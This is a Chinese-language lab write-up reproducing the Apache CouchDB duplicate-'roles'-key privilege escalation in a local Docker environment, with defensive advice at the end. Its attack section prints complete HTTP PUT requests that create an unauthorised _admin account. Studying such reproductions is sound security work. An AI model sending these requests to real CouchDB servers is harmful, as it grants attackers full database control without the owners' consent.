一、具体介绍 / 漏洞原理
Apache CouchDB是一个开源的数据库,面向文档的数据库管理系统,专注易用性"完全使用Web"。使用JSON作为存储格式,JavaScript为查询语言,MapReduce和HTTP作为API的NoSQL数据库。
由于Erlang解析器和JavaScrip对JSON的解析方式不同(对于给定的两个键,Erlang解析器存储两个键而javaScrip只存储第二个值),导致语句执行产生差异性所致,可以让任意用户创建管理员(垂直越权)。
二、触发条件
- 使用CouchDB数据库,开启5984端口
- 版本<1.7.0以及 <2.1.1
三、漏洞场景 / 挖掘思路
- 一些BBC用在其动态内容展示的平台
- Credit Suisse用在其内部的商品部门的市场框架
- Meebo
- 用在其社交平台
四、漏洞复现
4.0 漏洞环境
(整个环境在局域网下实现)
- 靶机:CentOS7 192.168.30.129
- 攻击者:Kali 192.168.30.130(poc测试以及触发payload)
- 宿主机:Win10 192.168.1.100、BurpSuite(模拟访问测试)
4.1 启动环境
》》docker-compose build
》》docker-compose up -d
Tips:如果不是第一次启动,重启docker并使用docker-compose重新运行即可
》》service docker restart
# 进入漏洞对应文件夹下
》》docker-compose down
》》docker-compose up -d
4.2 复现准备
当使用Docker-Compose编译并运行数据库后,便可以在宿主机:192.168.1.100上进行访问(以下是访问成功页面显示版本为1.6.0)
# 访问CouchDB数据库的WEB页面
》》http://192.168.30.129:5984/_utils/
# 这里如果未配置服务器管理员之前,所有客户端都具有管理员权限(这里为了方便测试我创建了一个用户名:密码为:admin:admin的管理员)
# 通过访问键值可访问到用户的json数据这里管理员的password显示为null(了解即可!)
# 当注销后在访问_users时显示无权访问此数据库(正常使用时大多数都会配置管理员的,因此到这里我们为了贴近漏洞攻击场景创建了管理员用户,这样使得HTTP访问只限于受限制的用户!)
4.3 攻击过程
# 将以下代码通过宿主机BurpSuite的Repeater模块发送到目标Host
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 192.168.30.129:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 92
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"password": "vulhub"
}
# 点击Go可看到返回的报错403被禁止的信息:只有管理员可以设置角色
Tips:不要忘记配置Host信息
# 发送含有两个roles的数据包,即可绕过限制
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 192.168.30.129:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles": [],
"password": "vulhub"
}
# 可以看到成功创建的管理员,账号密码都为vulhub
# 再次访问http://<target_ip>:5984/_utils/,即可看到user的数量多了1个
# 我们使用vulhub:vulhub登录数据库查看_users数据库就能查看到我们添加的用户:
五、防御措施
- 升级CouchDB的版本到1.7.1或2.1.1
- 配置HTTP API参数,针对敏感信息加入黑名单